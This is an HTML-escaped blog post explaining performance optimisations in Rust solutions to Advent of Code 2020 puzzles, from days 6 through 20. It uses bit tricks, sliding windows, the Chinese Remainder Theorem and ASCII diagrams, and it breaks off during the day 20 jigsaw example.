&lt;p&gt;On &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;6&quot;&gt;day 6 part 1&lt;&#x2F;a&gt; we&#x27;re trying to find the number of unique questions.
There are 26 in total, represented as letters. I take a 32-bit integer and
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day06a&#x2F;src&#x2F;main.rs#L9-L10&quot;&gt;set&lt;&#x2F;a&gt; the corresponding bit for each answer. I then count the number
of ones. No expensive data structures are required.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;cady:    00000010110000000000000000000010
&lt;&#x2F;span&gt;&lt;span&gt;ipldcyf: 00000000110100100100010000000010
&lt;&#x2F;span&gt;&lt;span&gt;xybgcd:  00000000110010000000000000000110
&lt;&#x2F;span&gt;&lt;span&gt;gcdy:    00000000110010000000000000000010
&lt;&#x2F;span&gt;&lt;span&gt;dygbc:   00000001110010000000000000000010
&lt;&#x2F;span&gt;&lt;span&gt;         =OR=============================
&lt;&#x2F;span&gt;&lt;span&gt;         00000011110110100100010000000110 -&amp;gt; 11
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;6#part2&quot;&gt;Part 2&lt;&#x2F;a&gt; is simple now: I take the same approach but &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;f41a0bdbce584cf160800dbebb5c49ee3023a592&#x2F;day06b&#x2F;src&#x2F;main.rs#L8-L10&quot;&gt;use&lt;&#x2F;a&gt;
the AND operation instead of OR when setting bits.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-9-encoding-error&quot;&gt;Day 9: Encoding Error
    &lt;a class=&quot;anchor&quot; href=&quot;#day-9-encoding-error&quot; aria-label=&quot;Anchor link for: day-9-encoding-error&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;On &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;9#part2&quot;&gt;day 9 part 2&lt;&#x2F;a&gt; we must find a sequence of numbers in a list of
numbers that sums up to a specific value.&lt;&#x2F;p&gt;
&lt;p&gt;The common approach seems to be to use a &lt;code&gt;for&lt;&#x2F;code&gt; in a &lt;code&gt;for&lt;&#x2F;code&gt; loop. This walks
over each position with the outer loop and tries to find a sequence with the
correct sum with the inner loop.&lt;&#x2F;p&gt;
&lt;p&gt;I&#x27;m &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day09b&#x2F;src&#x2F;main.rs#L9-L20&quot;&gt;using&lt;&#x2F;a&gt; a &lt;em&gt;dynamic sliding window&lt;&#x2F;em&gt; approach instead (I better
give it a fancy name you know). I start by sliding the &lt;em&gt;head&lt;&#x2F;em&gt; forward, making
the window and the sum larger. When the sum becomes larger than the target value
I stop. Then I start sliding the &lt;em&gt;tail&lt;&#x2F;em&gt; forward, making the window and the
sequence sum smaller. When the sum becomes smaller than the target value I stop.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;   &amp;gt;&amp;gt; tail &amp;gt;&amp;gt;     &amp;gt;&amp;gt; head &amp;gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;         |           |
&lt;&#x2F;span&gt;&lt;span&gt;         +-----------+
&lt;&#x2F;span&gt;&lt;span&gt;... 35 20|15 25 47 40|62 55 65 95 102 ...
&lt;&#x2F;span&gt;&lt;span&gt;         +-----------+
&lt;&#x2F;span&gt;&lt;span&gt;         | tot: 127  |
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I keep alternating between sliding the &lt;em&gt;head&lt;&#x2F;em&gt; and &lt;em&gt;tail&lt;&#x2F;em&gt;. Once the sum equals
the target value, we&#x27;ve found the sequence and can solve the puzzle. This
minimizes the number of required loops, making it more efficient.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-10-adapter-array&quot;&gt;Day 10: Adapter Array
    &lt;a class=&quot;anchor&quot; href=&quot;#day-10-adapter-array&quot; aria-label=&quot;Anchor link for: day-10-adapter-array&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;On &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;10#part2&quot;&gt;day 10 part 2&lt;&#x2F;a&gt; we get a list of adapter voltages. Adapters may be
plugged into each other if the adapter is 1 to 3 volts higher than the adapter
you&#x27;re plugging into. The puzzle is to figure out how many distinct adapter
arrangements are possible.&lt;&#x2F;p&gt;
&lt;p&gt;I started with a sorted list because you can only plug higher-rated adapters
into lower-rated ones. The maximum difference is 3, so I soon discovered that
you can chunk the sequence of adapters. Each chunk of adapters has a difference
of 3, which only gives one way to connect between them. You can now process each
chunk separately to find distinct arrangements, multiplying their calculations.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;Chunks with adapters:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;C1 &amp;gt;&amp;gt; C2 &amp;gt;&amp;gt; C3 &amp;gt;&amp;gt; C4 &amp;gt;&amp;gt; C5
&lt;&#x2F;span&gt;&lt;span&gt;--    --    --    --    --
&lt;&#x2F;span&gt;&lt;span&gt;1     4     10    15    19
&lt;&#x2F;span&gt;&lt;span&gt;      5     11    16
&lt;&#x2F;span&gt;&lt;span&gt;      6     12
&lt;&#x2F;span&gt;&lt;span&gt;      7
&lt;&#x2F;span&gt;&lt;span&gt;--    --    --    --    --
&lt;&#x2F;span&gt;&lt;span&gt;1x    7x    4x    2x    1x
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Ways to connect:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;1  +  7  +  4  +  2  +  1  =  15
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This resulted in chunks that always consisted of 2, 3, or 4 adapters. This makes
it easy to find distinctions between them. I finally figured that I could
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day10b&#x2F;src&#x2F;main.rs#L13-L20&quot;&gt;optimize&lt;&#x2F;a&gt; it to a &lt;em&gt;fixed number of distinctions per chunk size&lt;&#x2F;em&gt;
greatly reducing complexity.&lt;&#x2F;p&gt;
&lt;p&gt;I found 74049191673856 distinct ways to connect all adapters in just &lt;code&gt;5μs&lt;&#x2F;code&gt;. I
can&#x27;t even count to 1 within that time.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-11-seating-system&quot;&gt;Day 11: Seating System
    &lt;a class=&quot;anchor&quot; href=&quot;#day-11-seating-system&quot; aria-label=&quot;Anchor link for: day-11-seating-system&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;On &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;11&quot;&gt;day 11 part 1&lt;&#x2F;a&gt; we&#x27;re given a variation of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Conway%27s_Game_of_Life&quot;&gt;Conway&#x27;s Game of
Life&lt;&#x2F;a&gt; represented as a 2D arrangement of seats on a plane. Each iteration
seat occupation changes based on a set of rules considering their neighbors, but
seats don&#x27;t move.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;L.LL.LL.LL    L = empty seat
&lt;&#x2F;span&gt;&lt;span&gt;LLLLLLL.LL    . = nothing
&lt;&#x2F;span&gt;&lt;span&gt;L.L.L..L..
&lt;&#x2F;span&gt;&lt;span&gt;LLLL.LL.LL
&lt;&#x2F;span&gt;&lt;span&gt;L.LL.LL.LL
&lt;&#x2F;span&gt;&lt;span&gt;L.LLLLL.LL
&lt;&#x2F;span&gt;&lt;span&gt;..L.L.....
&lt;&#x2F;span&gt;&lt;span&gt;LLLLLLLLLL
&lt;&#x2F;span&gt;&lt;span&gt;L.LLLLLL.L
&lt;&#x2F;span&gt;&lt;span&gt;L.LLLLL.LL
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With regular &lt;em&gt;Game of Life&lt;&#x2F;em&gt; you&#x27;d have to loop through all positions each
iteration and evaluate all rules to determine their new state. Because this
puzzle does not have a seat at every position (nor do seats always have 4
neighbors) our plane is more like a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Sparse_array&quot;&gt;sparse array&lt;&#x2F;a&gt;. A lot of
cycles would be wasted if we&#x27;d keep looping over all plane positions.&lt;&#x2F;p&gt;
&lt;p&gt;I decided to make a list of all seat positions and their respective neighbors.
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day11a&#x2F;src&#x2F;main.rs#L38-L54&quot;&gt;This&lt;&#x2F;a&gt; way I only had to go through this list of seats for each
iteration. Determining what neighbors a seat has just needs to be performed
once.&lt;&#x2F;p&gt;
&lt;p&gt;This is especially great for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;11#part2&quot;&gt;part 2&lt;&#x2F;a&gt; which makes things worse. It
doesn&#x27;t just consider direct neighbors anymore, but neighbors in line of sight
making searching much more expensive. Luckily it doesn&#x27;t affect my approach from
the first part too much, as I only search &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day11b&#x2F;src&#x2F;main.rs#L28-L39&quot;&gt;once&lt;&#x2F;a&gt;. This is much more
efficient than looping through all positions and finding neighbors every time.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-12-rain-risk&quot;&gt;Day 12: Rain Risk
    &lt;a class=&quot;anchor&quot; href=&quot;#day-12-rain-risk&quot; aria-label=&quot;Anchor link for: day-12-rain-risk&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;On &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;12&quot;&gt;day 12 part 1&lt;&#x2F;a&gt; we&#x27;re given a sequence of navigation instructions for
a ship. It includes cardinal directions, rotation, and forward instructions. We
must figure out the distance between the start and destination position.&lt;&#x2F;p&gt;
&lt;p&gt;What makes this tricky is the rotation and forward instructions. The forward
movement is dependent on your current rotation.&lt;&#x2F;p&gt;
&lt;p&gt;I use a single byte of which the first 4 bits define the current rotation. The
first bit means north, the second bit means east, et cetera. Because the ship
starts looking east, I start with the &lt;code&gt;0b01000100&lt;&#x2F;code&gt; pattern. For each rotation
instruction, I simply &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Bitwise_operation#bit_rotation&quot;&gt;rotate&lt;&#x2F;a&gt; the bits left or right. Rotating
right would update the direction to &lt;code&gt;0b00100010&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;Direction bits, shift to rotate 90 degrees left or right:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&amp;lt; rotate left &amp;lt;&amp;lt;               &amp;gt;&amp;gt; rotate right &amp;gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;... &amp;lt;&amp;gt; 01000100 &amp;lt;&amp;gt; 00100010 &amp;lt;&amp;gt; 00010001 &amp;lt;&amp;gt; 10001000 &amp;lt;&amp;gt; ...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                Bit meaning:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;              [ y-1 ] [ y+1 ]
&lt;&#x2F;span&gt;&lt;span&gt;              [north] [south]
&lt;&#x2F;span&gt;&lt;span&gt;                    | |
&lt;&#x2F;span&gt;&lt;span&gt;Direction bits  00100010  would move ship south (y+1)
&lt;&#x2F;span&gt;&lt;span&gt;                     | |
&lt;&#x2F;span&gt;&lt;span&gt;                [east] [west]
&lt;&#x2F;span&gt;&lt;span&gt;                [ x+1] [x-1 ]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To move forward I &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day12a&#x2F;src&#x2F;main.rs#L12-L18&quot;&gt;take&lt;&#x2F;a&gt; this direction byte and use bitwise
arithmetic to update the ship position. This removes branching (&lt;code&gt;if&lt;&#x2F;code&gt; statements
and such) you&#x27;d normally expect for logic like this. Quite elegant.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-13-shuttle-search&quot;&gt;Day 13: Shuttle Search
    &lt;a class=&quot;anchor&quot; href=&quot;#day-13-shuttle-search&quot; aria-label=&quot;Anchor link for: day-13-shuttle-search&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;On &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;13#part2&quot;&gt;day 13 part 2&lt;&#x2F;a&gt; you&#x27;re given a series of bus lines, each having a
fixed schedule. You must find the time where each bus leaves one after
the other, in order.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;time     bus 7   bus 13  X  X  bus 59  X  bus 31  bus 19
&lt;&#x2F;span&gt;&lt;span&gt;  ...      .       .     .  .    .     .    .       .
&lt;&#x2F;span&gt;&lt;span&gt;1068780    .       .     .  .    .     .    .       .
&lt;&#x2F;span&gt;&lt;span&gt;1068781    D       .     .  .    .     .    .       .
&lt;&#x2F;span&gt;&lt;span&gt;1068782    .       D     .  .    .     .    .       .
&lt;&#x2F;span&gt;&lt;span&gt;1068783    .       .     D  .    .     .    .       .
&lt;&#x2F;span&gt;&lt;span&gt;1068784    .       .     .  D    .     .    .       .
&lt;&#x2F;span&gt;&lt;span&gt;1068785    .       .     .  .    D     .    .       .
&lt;&#x2F;span&gt;&lt;span&gt;1068786    .       .     .  .    .     D    .       .
&lt;&#x2F;span&gt;&lt;span&gt;1068787    .       .     .  .    .     .    D       .
&lt;&#x2F;span&gt;&lt;span&gt;1068788    D       .     .  .    .     .    .       D
&lt;&#x2F;span&gt;&lt;span&gt;1068789    .       .     .  .    .     .    .       .
&lt;&#x2F;span&gt;&lt;span&gt;  ...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;My initial thought was just to brute force through all times. The correct answer
turns out to be very large (more than 640 trillion), making this impossible
within a short time. I was unable to optimize this myself with basic mathematics
due to the weird constraints.&lt;&#x2F;p&gt;
&lt;p&gt;Searching for the problem semantics and related keywords online revealed the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Chinese_remainder_theorem&quot;&gt;Chinese Remainder
Theorem&lt;&#x2F;a&gt;. It is very similar to the given problem and shows an efficient
way to solve it with sample code. With minimal changes, I solved this seemingly
impossible puzzle and the solution finds the answer in just &lt;code&gt;4μs&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The important lesson here is that many Advent of Code problems resemble some
well-defined algorithm or at least part of it. If you can&#x27;t solve it yourself,
try to find a suitable algorithm. Finding such an algorithm makes solving the
problem child&#x27;s play. This is super interesting for learning about new
algorithms and approaches as well.&lt;&#x2F;p&gt;
&lt;!--

## Day 14: Docking Data

In [day 14 part 1][d14p1] a bitmask is given. It must be applied to a set of
numbers to find the correct sum. The mask sets both `0` and `1` bits, some bits
are undefined. I transformed it into an AND &amp; OR mask to apply to all the
values. This is computationally cheap, making it a fast solution, and preventing
complex logic to filter all values. Quite an obvious solution reading the puzzle
description.

In [part 2][d14p2] a bitmask is given...

TODO remove this day?

--&gt;
&lt;h2 id=&quot;day-15-rambunctious-recitation&quot;&gt;Day 15: Rambunctious Recitation
    &lt;a class=&quot;anchor&quot; href=&quot;#day-15-rambunctious-recitation&quot; aria-label=&quot;Anchor link for: day-15-rambunctious-recitation&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;15#part2&quot;&gt;Day 15&lt;&#x2F;a&gt; requires you to continue a number sequence to find the number at
a given position. The puzzle description explains the rules quite well. The
second part gets tricky: it asks you the 30 millionth position. The problem is
that for each number you have to traverse all previous numbers based on the
given rules. This becomes super expensive for higher positions. For 30 million
numbers this means traversing 450 trillion (!) numbers.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;Given: 6, 4, 12, 1, 20, 0, 16
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                        2back 2back 1back new   new   6back 3back
&lt;&#x2F;span&gt;&lt;span&gt;                        |     |     |     |     |     |     |
&lt;&#x2F;span&gt;&lt;span&gt;6, 4, 12, 1, 20, 0, 16, 0, 2, 0, 2, 2, 1, 9, 0, 5, 0, 2, 6, 0, 3, ...
&lt;&#x2F;span&gt;&lt;span&gt;                    |      |     |     |     |     |     |     |
&lt;&#x2F;span&gt;&lt;span&gt;                    new    new   2back 9back 5back 2back new   new
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The sequence appears to be the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ibmathsresources.com&#x2F;2019&#x2F;06&#x2F;12&#x2F;the-van-eck-sequence&#x2F;&quot;&gt;Van Eck sequence&lt;&#x2F;a&gt; (see
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=etMJxB-igrc&quot;&gt;this&lt;&#x2F;a&gt; fantastic Numberpfile video on it). To my surprise,
there doesn&#x27;t seem to be an efficient algorithm for generating the sequence. The
sequence does not repeat, nor does it have a known pattern that would help with
generating. Many people (a lot smarter than I am) have taken up the challenge to
find a more efficient method, but without result. This means I don&#x27;t have to
give it a try. Instead, I have to be careful to use the correct logic and data
structures to keep my sequence generator as fast as possible.&lt;&#x2F;p&gt;
&lt;p&gt;I opted to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day15b&#x2F;src&#x2F;main.rs#L13-L36&quot;&gt;use&lt;&#x2F;a&gt; a lookup table approach with an array and hash map
combination. Because the last position of a number is important, the table is
used for this with the number as a key and the last position as a value. This
way generating the next number only requires a single lookup instead of
traversing all previous numbers.&lt;&#x2F;p&gt;
&lt;p&gt;Instead of just using a fixed array or hash map for the lookup table as a whole,
I split it in a low and high side at the 3 million mark. The low side is a fixed
array, the high side utilizes a hash map. This turns out to be much faster than
using just either of the two, improving runtime by 30%. This is super
interesting to me, and I didn&#x27;t expect it to be so much faster. It likely has to
do with more efficient CPU cache usage on my system, where the low side with the
array is dense, and the high side with the hash map is sparse, though I haven&#x27;t
looked into the details. This shows that using a single data structure isn&#x27;t
always the best approach, even though that might be against your expectations.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;Sequence example:
&lt;&#x2F;span&gt;&lt;span&gt;6, 4, 12, 1, 20, 0, 16, 0, 2, 0, 2, 2, 1, 9, 0, 5, 0, 2, 6, 0, 3, ...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Last position lookup tables:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;LOW SIDE ARRAY 0..3M    HIGH SIDE MAP 3M..30M
&lt;&#x2F;span&gt;&lt;span&gt;+-------+----------+    +------+------------+
&lt;&#x2F;span&gt;&lt;span&gt;| index | last pos |    | num  | last pos   |
&lt;&#x2F;span&gt;&lt;span&gt;+-------+----------+    +------+------------+
&lt;&#x2F;span&gt;&lt;span&gt;| 0     | 20       |    | 3M   | 3.2M       |
&lt;&#x2F;span&gt;&lt;span&gt;| 1     | 13       |    | 3.2M | 8.3M       |
&lt;&#x2F;span&gt;&lt;span&gt;| 2     | 18       |    | 3.5M | 9.1M       |
&lt;&#x2F;span&gt;&lt;span&gt;| 3     | 21       |    | 3.6M | 4.9M       |
&lt;&#x2F;span&gt;&lt;span&gt;| 4     | 2        |    | 3.7M | 11.2M      |
&lt;&#x2F;span&gt;&lt;span&gt;| 5     | 16       |    | ..   | ..         |
&lt;&#x2F;span&gt;&lt;span&gt;| ..    | ..       |    |      |            |
&lt;&#x2F;span&gt;&lt;span&gt;| 3M    | 0        |    |      |            |
&lt;&#x2F;span&gt;&lt;span&gt;+-------+----------+    +------+------------+
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;My final solution completes in &lt;code&gt;511ms&lt;&#x2F;code&gt;. Quite the achievement, as it seems
rather fast compared to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;adventofcode&#x2F;comments&#x2F;kdf85p&#x2F;2020_day_15_solutions&#x2F;&quot;&gt;others&lt;&#x2F;a&gt;. This is the most costly puzzle
when looking at runtime. It alone takes up 73% of my total runtime and consumes
more than half of my 1-second target. &lt;em&gt;Ouch...&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-17-conway-cubes&quot;&gt;Day 17: Conway Cubes
    &lt;a class=&quot;anchor&quot; href=&quot;#day-17-conway-cubes&quot; aria-label=&quot;Anchor link for: day-17-conway-cubes&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;For &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;17&quot;&gt;day 17&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Conway%27s_Game_of_Life&quot;&gt;Conway&#x27;s Game of Life&lt;&#x2F;a&gt; returns (who&#x27;d have thought
looking at its title), though it has a special twist. You have to figure out how
many &#x27;cubes&#x27; are active after a number of cycles, but this time we&#x27;re doing it
in 3D space. The puzzle input is a 2D slice that serves as starting state.&lt;&#x2F;p&gt;
&lt;p&gt;The first optimization I implemented was to limit the search space each cycle.
This space starts with the input size and grows by one in each direction for
each iteration. This limits the number of cubes to check, as distant cubes can&#x27;t
be active yet. Easy.&lt;&#x2F;p&gt;
&lt;p&gt;Because the initial state is a 2D slice, I noticed another interesting property.
As the 2D slice is effectively the same on the two &lt;em&gt;sides&lt;&#x2F;em&gt; of the third axis, it
expands with the same pattern in both directions. This means that the third axis
is mirrored from the center (the slice). I only have to simulate one of these
two sides and multiply the cube count to get the answer we need. This halves
the number of operations reducing runtime.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;2D example with 1D (column) input which mirrors:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;       single input column
&lt;&#x2F;span&gt;&lt;span&gt;       |
&lt;&#x2F;span&gt;&lt;span&gt;---------------
&lt;&#x2F;span&gt;&lt;span&gt;#---##---##---#
&lt;&#x2F;span&gt;&lt;span&gt;#--#--#-#--#--#
&lt;&#x2F;span&gt;&lt;span&gt;---#-#---#-#---
&lt;&#x2F;span&gt;&lt;span&gt;----#-----#----
&lt;&#x2F;span&gt;&lt;span&gt;---------------        what the field
&lt;&#x2F;span&gt;&lt;span&gt;-----#---#-----    &amp;lt;-- looks like after
&lt;&#x2F;span&gt;&lt;span&gt;----##---##----        some cycles
&lt;&#x2F;span&gt;&lt;span&gt;---##-----##---
&lt;&#x2F;span&gt;&lt;span&gt;---------------
&lt;&#x2F;span&gt;&lt;span&gt;-----#####-----
&lt;&#x2F;span&gt;&lt;span&gt;------###------
&lt;&#x2F;span&gt;&lt;span&gt;------###------
&lt;&#x2F;span&gt;&lt;span&gt;       |
&lt;&#x2F;span&gt;&lt;span&gt;   &amp;lt;&amp;lt;&amp;lt; | &amp;gt;&amp;gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;       |
&lt;&#x2F;span&gt;&lt;span&gt;       mirrors left and right
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;17#part2&quot;&gt;Part 2&lt;&#x2F;a&gt; gets even better. The puzzle is similar but simulates in 4D
space. To accommodate for this the rules have changed slightly, but the input is
still the same 2D slice. This is fantastic because this means not just one but
two axis are mirrored now. With the same optimization, I now need to simulate
only ¼th of the space, making the solution 4 times quicker!&lt;&#x2F;p&gt;
&lt;!-- TODO: day 19 may be fun as well --&gt;
&lt;h2 id=&quot;day-20-jurassic-jigsaw&quot;&gt;Day 20: Jurassic Jigsaw
    &lt;a class=&quot;anchor&quot; href=&quot;#day-20-jurassic-jigsaw&quot; aria-label=&quot;Anchor link for: day-20-jurassic-jigsaw&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;20&quot;&gt;Day 20&lt;&#x2F;a&gt; involves a jigsaw puzzle. Each piece is a 10×10 matrix of bits.
All pieces form a larger square. The bits on the edges between two pieces must
align. Every piece can be placed anywhere and may need to be rotated or flipped
in any direction. That&#x27;s a lot of combinations.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;Placed tiles for small example puzzle:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;T3:    T9:    T2:
&lt;&#x2F;span&gt;&lt;span&gt;..##.  ...##  #.##.
&lt;&#x2F;span&gt;&lt;span&gt;##..#  #...#  #.###
&lt;&#x2F;span&gt;&lt;span&gt;#...#  #..#.  .....
&lt;&#x2F;span&gt;&lt;span&gt;####.  ....#  #...#
&lt;&#x2F;span&gt;&lt;span&gt;##.##  #####  ###.#
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;T1:    T6:    T5:
&lt;&#x2F;span&gt;&lt;span&gt;##.##  #####  ###.#
&lt;&#x2F;span&gt;&lt;span&gt;.#.##  #..##  ###.#
&lt;&#x2F;span&gt;&lt;span&gt;..#..  ..#..  .###.
